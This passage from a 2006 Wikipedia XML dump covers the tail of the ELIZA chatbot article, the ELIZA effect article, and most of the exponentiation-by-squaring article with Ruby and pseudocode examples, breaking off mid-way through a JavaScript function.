In 1966 interactive computing (via a teletype) was new.  It was 15 years before the personal computer became familiar to the general public, and two decades before most people encountered attempts at [[natural language processing]] in Internet services like [[Ask Jeeves|Ask Jeeves!]] or PC help systems such as Microsoft Office [[Office Assistant|Clippy]].  Although those programs included years of research and work (while ''Ecala'' eclipsed the functionality of ''ELIZA'' after less than two weeks of work by a single programmer), ''ELIZA'' remains a milestone simply because it was the first time a programmer had attempted such a human-machine interaction with the goal of creating the illusion (however brief) of human-''human'' interaction.

Lay responses to ELIZA were disturbing to Weizenbaum and motivated him to write his book ''Computer Power and Human Reason: From Judgment to Calculation'', in which he explains the limits of computers, as he wants to make clear in people's minds his opinion that the anthropomorphic views of computers are just a reduction of the human being and any lifeform for that matter.

ELIZA was named after [[Eliza Doolittle]], the working-class character in [[George Bernard Shaw|Shaw]]'s ''[[Pygmalion (play)|Pygmalion]]'' who is taught to speak with an [[upper class]] [[accent (linguistics)|accent]].

There are many programs based on ELIZA in different languages in addition to ''Ecala''. For example in 1980 a company called &quot;Don't Ask Software&quot; founded by Randy Simon, created a version for the Apple II, Atari and Commodore PC's which verbally abused the user based on the user's input. In Spain, Jordi Perez developed the famous ZEBAL in 1993, written in Clipper for MS-DOS.

== Implementations ==
* Very advanced [[DOS]]-based version: http://ecceliza.cjb.net
* ECC-Eliza for Windows (rename .txt to .exe before running): http://www5.domaindlx.com/ecceliza1/ecceliza.txt
* Using [[JavaScript]]: http://www.manifestation.com/neurotoys/eliza.php3
* Source code in [[Java programming language|Java]]: http://chayden.net/eliza/Eliza.shtml
* Another [[Java programming language|Java]]-implementation of ELIZA: http://www.wedesoft.demon.co.uk/eliza/
* Using [[C programming language|C]] on the [[TI-89]]: http://kaikostack.com/ti89_en.htm#eliza
* A [[perl module]] [http://search.cpan.org/dist/Chatbot-Eliza/ Chatbot::Eliza] -- [http://www.terrence.com/perl/eliza/eliza.cgi example implementation], [http://www.linux-mag.com/cgi-bin/printer.pl?issue=1999-06&amp;article=perl usage tutorial]
* [http://fury.com/aoliza/ AOLiza] was an ELIZA-like [[Artificial intelligence|AI]] which runs over the [[AOL Instant Messenger|AIM]] protocol.
* Trans-Tex Software has released shareware versions for Classic Mac OS and Mac OS X: http://www.tex-edit.com/index.html#Eliza
* &lt;code&gt;doctor.el&lt;/code&gt; (circa [[1985]]) in [[Emacs]].
* The [http://www.verbots.com/forums/dload.php?action=file&amp;file_id=21 ELIZA KnowledgeBase] has been converted to work with [http://www.verbots.com/ Verbots] by [http://www.conversive.com/ Conversive].

==See also==
*[[ELIZA effect]]
*[[Artificial Linguistic Internet Computer Entity|A.L.I.C.E.]]
*[[Jabberwacky]]
*[[PARRY]]
*[[Turing test]]
*[[Loebner prize]]
*[[Simulated consciousness]]
*[[Chatterbot]]
*[[Verbot]]

==References==
{{FOLDOC}}

== External links ==
* [http://www.stanford.edu/group/SHR/4-2/text/dialogues.html dialogues with colorful personalities of early AI], a collection of dialogues between ELIZA and various conversants, such as a company vice president and [[PARRY]] (a simulation of a paranoid schizophrenic)
* [http://fury.com/aoliza/ AOLiza]
* [http://www.ellaz.com EllaZ Systems] has on-line chatbots that extend the potential of ELIZA to interactive games and Convuns (conversational units).  Functional features utilize Web Services, WordNet, CIA World Fact Book, and other resources.  All with natural language interaction. 
* [http://www.elfqrin.com/promethbox.html Project Prometheus] An ELIZA-like online chatting bot.

[[Category:Artificial intelligence]]
[[Category:Natural language processing]]

[[de:ELIZA]]
[[es:Eliza]]
[[fr:ELIZA]]
[[he:אלייזה]]
[[pl:ELIZA]]</text>
    </revision>
  </page>
  <page>
    <title>ELIZA effect</title>
    <id>10236</id>
    <revision>
      <id>39294318</id>
      <timestamp>2006-02-12T03:48:42Z</timestamp>
      <contributor>
        <username>Kuroune</username>
        <id>888706</id>
      </contributor>
      <text xml:space="preserve">The '''[[ELIZA]] effect''' is computer-slang for the tendency of humans to attach associations to terms from prior experience.  For example, there is nothing magical about the [[symbol]] &quot;+&quot; that makes it well-suited to indicate addition; it's just that people associate it with addition.  Using &quot;+&quot; or &quot;[[plus]]&quot; to mean [[addition]] in a computer language is taking advantage of the ELIZA effect.

The ELIZA effect is a good thing when writing a programming language. For example, the [[operator overloading]] in many [[object-oriented]] [[programming language]]s such as [[C++]] allows new data types to use the same semantics as built-in numeric types. However, operator overloading has its own disadvantages. 

The ELIZA effect can also blind one to serious shortcomings when analysing an [[artificial intelligence]] system.

The ELIZA effect is named after the famous [[chatterbot]] [[ELIZA]].
People are used to conversations where their partner understands what they say, and where the reply is a result of this. This is their prior experience.
Let's say a human has a conversation with ELIZA:
 HUMAN: &quot;I don't have anything against my father. He was okay ...&quot;
 ELIZA: &quot;Tell me more about your family.&quot;
Based on his prior experience, our human will assume that ELIZA found his talk interesting, and that she wanted to know more about his family.
What really happens here is that ELIZA recognizes the word 'father', and returns a premade answer. But the human is fooled by his prior experience, and puts more meaning into the conversation.

==See also==
*[[AI-complete]]
*[[Turing test]]
*[[Confederate Effect]]
*[[Hugh Loebner]]
*[[Semiotics]]


==References==
{{FOLDOC}}

Eliza Effect (Turkle, 1997): tendency to accept computer responses as more intelligent than they really are (from S. Turkle: Life on the screen- Identity in the Age of the Internet, Phoenix Paperback: London, 1997)


[[Category:Artificial intelligence]]

[[pl:Efekt Elizy]]</text>
    </revision>
  </page>
  <page>
    <title>Exponentiation by squaring</title>
    <id>10237</id>
    <revision>
      <id>38498685</id>
      <timestamp>2006-02-06T19:33:36Z</timestamp>
      <contributor>
        <username>Sartak</username>
        <id>175989</id>
      </contributor>
      <minor />
      <comment>No need to mention 'x' in the summary.</comment>
      <text xml:space="preserve">'''Exponentiating by squaring''' is an [[algorithm]] used for the fast computation of large [[integer]] powers of a [[number]]. It is also known as the '''square-and-multiply''' algorithm or '''binary exponentiation'''. In [[additive group]]s the appropriate name is '''double-and-add''' algorithm. It implicitly uses the [[binary numeral system|binary]] expansion of the exponent. It is of quite general use, for example in [[modular arithmetic]].

==Squaring algorithm==

The following [[recursion|recursive algorithm]] computes ''x''&lt;sup&gt;''n''&lt;/sup&gt; for a [[negative and non-negative numbers|positive]] [[integer]] ''n'':

:&lt;math&gt;
\mbox{Power}(x,\,n)=\left\{
\begin{matrix} x, &amp; \mbox{if }n\mbox{ = 1} \\ 
\mbox{Power}(x^2,\,n/2), &amp; \mbox{if }n\mbox{ is even} \\
x\times\mbox{Power}(x^2,\,(n-1)/2), &amp; \mbox{if }n &gt;\mbox{2 is odd} \\
\end{matrix}\right.
&lt;/math&gt;

Compared to the ordinary method of multiplying ''x'' with itself ''n'' &amp;minus; 1 times, this algorithm uses only [[Big O notation|O]](log ''n'') multiplications and therefore speeds up the computation of ''x''&lt;sup&gt;''n''&lt;/sup&gt; tremendously, in much the same way that the &quot;long multiplication&quot; algorithm speeds up multiplication over the slower method of repeated addition.

==Further applications==

The same idea allows fast computation of large [[Modular exponentiation|exponents modulo]] a number. Especially in [[cryptography]], it is useful to compute powers in a [[ring (algebra)|ring]] of [[modular arithmetic|integers modulo ''q'']]. It can also be used to compute integer powers in a [[group (mathematics)|group]], using the rule 

:Power(''x'', -''n'') = (Power(''x'', ''n''))&lt;sup&gt;-1&lt;/sup&gt;. 

The method works in every [[semigroup]] and is often used to compute powers of [[matrix (math)|matrices]], 

For example, the evaluation of

:13789&lt;sup&gt;722341&lt;/sup&gt; (mod 2345) 

would take a very long time and lots of storage space if the naïve method is used: compute 13789&lt;sup&gt;722341&lt;/sup&gt; then take the [[remainder]] when divided by 2345. Even using a more effective method will take a long time: square 13789, take the remainder when divided by 2345, multiply the result by 13789, and so on. This will take 722340 modular multiplications. The square-and-multiply algorithm is based on the observation that 13789&lt;sup&gt;722341&lt;/sup&gt; = 13789(13789&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;361170&lt;/sup&gt;. So, if we computed 13789&lt;sup&gt;2&lt;/sup&gt;, then the full computation would only take 361170 modular multiplications. This is a gain of a factor of two. But since the new problem is of the same type, we can apply the same observation ''again'', once more approximately halving the size.

The repeated application of this algorithm is equivalent to decomposing the exponent (by a base conversion to binary) into a sequence of squares and products: for example
:''x''&lt;sup&gt;13&lt;/sup&gt; = ''x''&lt;sup&gt;1101&lt;/sup&gt;
: = ''x''&lt;sup&gt;(1*2^3 + 1*2^2 + 0*2^1 + 1*2^0)&lt;/sup&gt;
: = ''x''&lt;sup&gt;1*2^3&lt;/sup&gt; * ''x''&lt;sup&gt;1*2^2&lt;/sup&gt; * ''x''&lt;sup&gt;0*2^1&lt;/sup&gt; * ''x''&lt;sup&gt;1*2^0&lt;/sup&gt;
: = ''x''&lt;sup&gt;2^3&lt;/sup&gt; * ''x''&lt;sup&gt;2^2&lt;/sup&gt; * 1 * ''x''&lt;sup&gt;2^0&lt;/sup&gt;
: = ''x''&lt;sup&gt;8&lt;/sup&gt; * ''x''&lt;sup&gt;4&lt;/sup&gt; * ''x''&lt;sup&gt;1&lt;/sup&gt;
: = (''x''&lt;sup&gt;4&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * (''x''&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * ''x''
: = (''x''&lt;sup&gt;4&lt;/sup&gt; * ''x''&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * ''x''
: = ((''x''&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * ''x''&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * ''x''
: = ((''x''&lt;sup&gt;2&lt;/sup&gt; * ''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; * ''x'' &amp;nbsp; &amp;nbsp; &amp;nbsp; → algorithm needs only 5 multiplications instead of 13 - 1 = 12

Some more examples:
* ''x''&lt;sup&gt;10&lt;/sup&gt; = ((''x''&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt; because 10 = (1,010)&lt;sub&gt;2&lt;/sub&gt; = 2&lt;sup&gt;3&lt;/sup&gt;+2&lt;sup&gt;1&lt;/sup&gt;, algorithm needs 4 multiplications instead of 9
* ''x''&lt;sup&gt;100&lt;/sup&gt; = (((((''x''&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; because 100 = (1,100,100)&lt;sub&gt;2&lt;/sub&gt; = 2&lt;sup&gt;6&lt;/sup&gt;+2&lt;sup&gt;5&lt;/sup&gt;+2&lt;sup&gt;2&lt;/sup&gt;, algorithm needs 8 multiplications instead of 99
* ''x''&lt;sup&gt;1,000&lt;/sup&gt; = ((((((((''x''&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; because 10&lt;sup&gt;3&lt;/sup&gt; = (1,111,101,000)&lt;sub&gt;2&lt;/sub&gt;, algorithm needs 14 multiplications instead of 999
* ''x''&lt;sup&gt;1,000,000&lt;/sup&gt; = ((((((((((((((((((''x''&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; because 10&lt;sup&gt;6&lt;/sup&gt; = (11,110,100,001,001,000,000)&lt;sub&gt;2&lt;/sub&gt;, algorithm needs 25 multiplications
* ''x''&lt;sup&gt;1,000,000,000&lt;/sup&gt; = ((((((((((((((((((((((((((((''x''&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*''x'')&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; because 10&lt;sup&gt;9&lt;/sup&gt; = (111,011,100,110,101,100,101,000,000,000)&lt;sub&gt;2&lt;/sub&gt;, algorithm needs 41 multiplications

== Example implementations ==

=== Computation by powers of 2 ===
This is a non-recursive implementation of the above algorithm in the [[Ruby programming language]].

In most [[static typing|statically typed]] languages, &lt;tt&gt;result=1&lt;/tt&gt; must be replaced with code assigning an [[identity matrix]] of the same size as &lt;tt&gt;x&lt;/tt&gt; to &lt;tt&gt;result&lt;/tt&gt; to get a matrix exponentiating algorithm. In Ruby, thanks to coercion, &lt;tt&gt;result&lt;/tt&gt; is automatically upgraded to the appropriate type, so this function works with matrices as well as with integers and floats.

&lt;pre&gt;def power(x,n)
    result = 1
    while (n != 0)
        # if n is odd, multiply result with x. decrement n by 1
        if (n.modulo(2) == 1)
            result = result * x
            n = n-1
        end
        # last iteration: no need to compute x = one more power of 2
        if (n &gt; 0) then
            x = x*x
            n = n/2
        end
    end
    return result
end&lt;/pre&gt;

==== Runtime example: Compute 3&lt;sup&gt;10&lt;/sup&gt; ====
 parameter x =  3
 parameter n = 10
 result := 1
 
 '''Iteration 1'''
   n = 10 -&amp;gt; n is even
   x := x&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;2&lt;/sup&gt; = 9
   n := n / 2 = 5
 
 '''Iteration 2'''
   n = 5 -&amp;gt; n is odd
       -&amp;gt; result := result * x = 1 * x = 1 * 3&lt;sup&gt;2&lt;/sup&gt; = 9
          n := n - 1 = 4
   x := x&lt;sup&gt;2&lt;/sup&gt; = 9&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;4&lt;/sup&gt; = 81
   n := n / 2 = 2
 
 '''Iteration 3'''
   n = 2 -&amp;gt; n is even
   x := x&lt;sup&gt;2&lt;/sup&gt; = 81&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;8&lt;/sup&gt; = 6,561
   n := n / 2 = 1
 
 '''Iteration 4'''
   n = 1 -&amp;gt; n is odd
       -&amp;gt; result := result * x = 3&lt;sup&gt;2&lt;/sup&gt; * 3&lt;sup&gt;8&lt;/sup&gt; = 3&lt;sup&gt;10&lt;/sup&gt; = 9 * 6561 = 59,049
          n := n - 1 = 0
 
 return result

=== Computation by binary representation ===
&lt;pre&gt;function power ( x, n )
  if ( n equals 0 ) return 1
  result := x
  bin := binary_representation_of ( n )
  for digit := second_digit_of_bin to last_digit_of_bin
    result := result * result
    if ( digit equals &quot;1&quot; ) result := result * x
  end
  return result
end&lt;/pre&gt;

==== Runtime example: Compute 3&lt;sup&gt;10&lt;/sup&gt; ====
 result := 3
 [[bin]] := &quot;1010&quot;

 '''Iteration for digit 2:'''
   result := result&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;2&lt;/sup&gt; = 9
   1'''0'''10&lt;sub&gt;bin&lt;/sub&gt; - Digit equals &quot;0&quot;

 '''Iteration for digit 3:'''
   result := result&lt;sup&gt;2&lt;/sup&gt; = (3&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;4&lt;/sup&gt;  = 81
   10'''1'''0&lt;sub&gt;bin&lt;/sub&gt; - Digit equals &quot;1&quot; --&amp;gt;&amp;nbsp;result := result*3 = (3&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*3 = 3&lt;sup&gt;5&lt;/sup&gt;  = 243

 '''Iteration for digit 4:'''
   result := result&lt;sup&gt;2&lt;/sup&gt; = ((3&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;2&lt;/sup&gt;*3)&lt;sup&gt;2&lt;/sup&gt; = 3&lt;sup&gt;10&lt;/sup&gt;  = 59,049
   101'''0'''&lt;sub&gt;bin&lt;/sub&gt; - Digit equals &quot;0&quot;

 return result

JavaScript-Demonstration: http://home.arcor.de/wzwz.de/wiki/ebs/en.htm

=== Generalization with example ===
==== Generalization ====
Let the pair ( '''S''', '''*''' ) be a [[Semigroup]], that means '''S''' is an arbitrary [[set]]
and '''*''' is an [[associative]] [[binary operation]] on '''S''':
* For all elements a and b of '''S''' is '''a*b''' also an element of '''S'''
* For all elements a, b and c of '''S''' is valid: '''(a*b)*c''' equals '''a*(b*c)'''

We may call '''*''' a &quot;multiplication&quot; and define an &quot;exponentiation&quot; '''E''' in the following way:&lt;br&gt;
For all elements a of '''S''':
* '''E''' ( a, 1 ) := a
* For all [[natural number|natural numbers]] n &gt; 0 is defined: '''E''' ( a, n+1 ) := '''E''' ( a, n ) '''*''' a

Now the algorithm exponentiation by squaring may be used for fast computing of '''E'''-values.

====Text application====
Because the concatenation '''+''' is an associative operation on the set of all finite [[string (computer science)|strings]] over a fixed alphabet
( with the empty string &quot;&quot; as its [[identity element]] ) exponentiation by squaring may be used for fast repeating of strings.

 Example ( javascript ):
 function repeat ( s, n ) {
   if ( s == &quot;&quot; || n &lt; 1 ) return &quot;&quot;
   var res = s
   var bin = n.toString ( 2 )
   for ( var i = 1 ; i &lt; bin.length ; i++ ) {
     res = res + res
     if ( bin.charAt ( i ) == '1' ) res = res + s
   }
   return res
 }
 The call '''repeat ( 'Abc', 6 )''' returns the string '''AbcAbcAbcAbcAbcAbc'''

===Calculation of products of powers===
Exponentiation by squaring may also be used to calculate the product of 2 or more powers.

====Example====
The formula a&lt;sup&gt;7&lt;/sup&gt;×b&lt;sup&gt;5&lt;/sup&gt; may by calculated within 3 steps:
:((a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a   (four multiplications for calculating a&lt;sup&gt;7&lt;/sup&gt;)
:((b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;b     (three multiplications for calculating b&lt;sup&gt;5&lt;/sup&gt;)
: (a&lt;sup&gt;7&lt;/sup&gt;)&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;(b&lt;sup&gt;5&lt;/sup&gt;) (one multiplication to calculate the product of the two)
so one gets eight multiplications in total.

A faster solution is to calculate both powers simultaneously:
:((a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b
which needs only 6 multiplications in total. Note that a×b is calculated twice, the result could be stored after the first calculation which reduces the count of multiplication to 5.

Example with numbers:
:2&lt;sup&gt;7&lt;/sup&gt;×3&lt;sup&gt;5&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;((2×3)&lt;sup&gt;2&lt;/sup&gt;×2)&lt;sup&gt;2&lt;/sup&gt;×2×3&amp;nbsp;=&amp;nbsp;(6&lt;sup&gt;2&lt;/sup&gt;×2)&lt;sup&gt;2&lt;/sup&gt;×6&amp;nbsp;=&amp;nbsp;72&lt;sup&gt;2&lt;/sup&gt;×6&amp;nbsp;=&amp;nbsp;31,104

Calculating the powers simultaneously instead of calculating them separately always reduces the
count of multiplications [[iff]] at least two of the exponents are greater than 1.

==== Using transformation ====
The example above a&lt;sup&gt;7&lt;/sup&gt;×b&lt;sup&gt;5&lt;/sup&gt; may also be calculated with only 5
multiplication if the expression is transformed before calculation:

a&lt;sup&gt;7&lt;/sup&gt;×b&lt;sup&gt;5&lt;/sup&gt; = a&lt;sup&gt;2&lt;/sup&gt;×ab&lt;sup&gt;5&lt;/sup&gt; with ab := a×b
&lt;dl&gt;
&lt;dd&gt;ab := a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b (one multiplication)&lt;/dd&gt;
&lt;dd&gt;a&lt;sup&gt;2&lt;/sup&gt;×ab&lt;sup&gt;5&lt;/sup&gt; = ((ab)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;ab (four multiplications)&lt;/dd&gt;
&lt;/dl&gt;

Generalization of transformation shows the following scheme:&lt;br&gt;
For calculating a&lt;sup&gt;A&lt;/sup&gt;×b&lt;sup&gt;B&lt;/sup&gt;×...×m&lt;sup&gt;M&lt;/sup&gt;×n&lt;sup&gt;N&lt;/sup&gt;&lt;br&gt;
1st: define ab := a×b, abc = ab×c, ...&lt;br&gt;
2nd: calculate the transformed expression a&lt;sup&gt;A-B&lt;/sup&gt;×ab&lt;sup&gt;B-C&lt;/sup&gt;×...×abc..m&lt;sup&gt;M-N&lt;/sup&gt;×abc..mn&lt;sup&gt;N&lt;/sup&gt;

Transformation before calculation often reduces the count of multiplications
but in some cases it also increases the count (see the last one of the examples below),
so it may be a good idea to check the count of multiplications before using the transformed expression for calculation.

==== Examples ====
For the following expressions the count of multiplications is shown for calculating each power separately,
calculating them simultaneously without transformation and calculating them simultaneously after transformation.

Example: a&lt;sup&gt;7&lt;/sup&gt;×b&lt;sup&gt;5&lt;/sup&gt;×c&lt;sup&gt;3&lt;/sup&gt;&lt;br&gt;
separate: [((a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [((b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;b] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [(c)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;c] ( '''11''' multiplications )&lt;br&gt;
simultaneous: ((a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( '''8''' multiplications )&lt;br&gt;
transformation: a := 2 &amp;nbsp; ab := a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b &amp;nbsp; abc := ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( 2 multiplications )&lt;br&gt;
calculation after that: (a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;abc)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;abc ( 4 multiplications ⇒ '''6''' in total )&lt;br&gt;

Example: a&lt;sup&gt;5&lt;/sup&gt;×b&lt;sup&gt;5&lt;/sup&gt;×c&lt;sup&gt;3&lt;/sup&gt;&lt;br&gt;
separate: [((a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [((b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;b] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [(c)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;c] ( '''10''' multiplications )&lt;br&gt;
simultaneous: ((a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;c)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( '''7''' multiplications )&lt;br&gt;
transformation: a := 2 &amp;nbsp; ab := a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b &amp;nbsp; abc := ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( 2 multiplications )&lt;br&gt;
calculation after that: (ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;abc)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;abc ( 3 multiplications ⇒ '''5''' in total )&lt;br&gt;

Example: a&lt;sup&gt;7&lt;/sup&gt;×b&lt;sup&gt;4&lt;/sup&gt;×c&lt;sup&gt;1&lt;/sup&gt;&lt;br&gt;
separate: [((a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [((b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;] &lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt; [c] ( '''8''' multiplications )&lt;br&gt;
simultaneous: ((a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( '''6''' multiplications )&lt;br&gt;
transformation: a := 2 &amp;nbsp; ab := a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;b &amp;nbsp; abc := ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;c ( 2 multiplications )&lt;br&gt;
calculation after that: (a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;ab)&lt;span style=&quot;color:red;&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;×&lt;/span&gt;a&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;ab&lt;span style=&quot;color:red;&quot;&gt;×&lt;/span&gt;abc ( 5 multiplications ⇒ '''7''' in total )

==== Implementation ====
 // the following javascript function calculates
 // Bas [0] ^ Exp [0] x Bas [1] ^ Exp [1] x ...
 '''function productOfPowers_simpleVersion ( Bas , Exp )''' {
   var str // temporary string
 // make binary representations:
   var maxLen = 0
   var bin = new Array ()
   for ( var i = 0 ; i &lt; Exp.length ; i++ ) {
